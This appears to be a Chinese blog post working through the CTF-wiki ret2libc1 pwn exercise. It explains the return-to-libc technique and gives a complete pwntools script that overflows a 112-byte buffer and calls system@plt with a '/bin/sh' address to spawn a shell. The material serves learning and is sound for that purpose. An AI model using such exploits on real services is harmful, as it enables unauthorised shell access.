当前位置:网站首页>跟着CTF-wiki学pwn——ret2libc1
跟着CTF-wiki学pwn——ret2libc1
2022-07-05 23:35:00 【大瑞大】
ret2libc
原理
执行libc中的/bin/sh
步骤
首先,检查程序的安全保护
开启NX:no executable
(不可执行内存数据页)
(不能利用ret2text与ret2shellcode)
其次,查看有无/bin/sh

查看有无system (segment是plt,不是extern)

/bin/sh,是一个字符串,需要知道地址。
system, 是一个可调用函数,需要知道地址。
用 system 调用 /bin/sh即可
所以编写payload,寻址方式可以查看之前的博客,同为112。
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
调用libc函数的格式:
system_plt + 4个字节(32位地址) + /bin/sh字符串
这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后参数对应的参数内容。
这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。
边栏推荐
- Attacking technology Er - Automation
- Part III Verilog enterprise real topic of "Niuke brush Verilog"
- poj 2762 Going from u to v or from v to u? (infer whether it is a weak link diagram)
- 同事悄悄告诉我,飞书通知还能这样玩
- Code farmers to improve productivity
- Spire.PDF for NET 8.7.2
- How to design API return code (error code)?
- MySQL (1) -- related concepts, SQL classification, and simple operations
- Spreadjs 15.1 CN and spreadjs 15.1 en
- VS2010 writes DLL and unit test of dynamic link library, and transfers the correctness of DLL test
猜你喜欢

Fiddler Everywhere 3.2.1 Crack

Rsync remote synchronization

My colleagues quietly told me that flying Book notification can still play like this

无刷驱动设计——浅谈MOS驱动电路

成为程序员的你,后悔了吗?

The use of El cascader and the solution of error reporting

Huawei simulator ENSP - hcip - MPLS experiment

芯源&立创EDA训练营——无刷电机驱动

TVS管和ESD管的技術指標和選型指南-嘉立創推薦

el-cascader的使用以及报错解决
随机推荐
同事悄悄告诉我,飞书通知还能这样玩
poj 2762 Going from u to v or from v to u? (infer whether it is a weak link diagram)
STM32__06—单通道ADC
Rethinking about MySQL query optimization
Dynamic planning: robbing families and houses
[classical control theory] summary of automatic control experiment
Common static methods of math class
CIS benchmark tool Kube bench
ts类型声明declare
Opencvsharp (C openCV) shape detection and recognition (with source code)
有什么不起眼却挣钱的副业?
Research notes I software engineering and calculation volume II (Chapter 1-7)
C file and folder operation
Use mapper: --- tkmapper
424. 替换后的最长重复字符 ●●
Fiddler Everywhere 3.2.1 Crack
Convert Chinese into pinyin
Bao Yan notes II software engineering and calculation volume II (Chapter 13-16)
QCombox(重写)+QCompleter(自动补全,自动加载qcombox的下拉选项,设置背景颜色)
VS2010 writes DLL and unit test of dynamic link library, and transfers the correctness of DLL test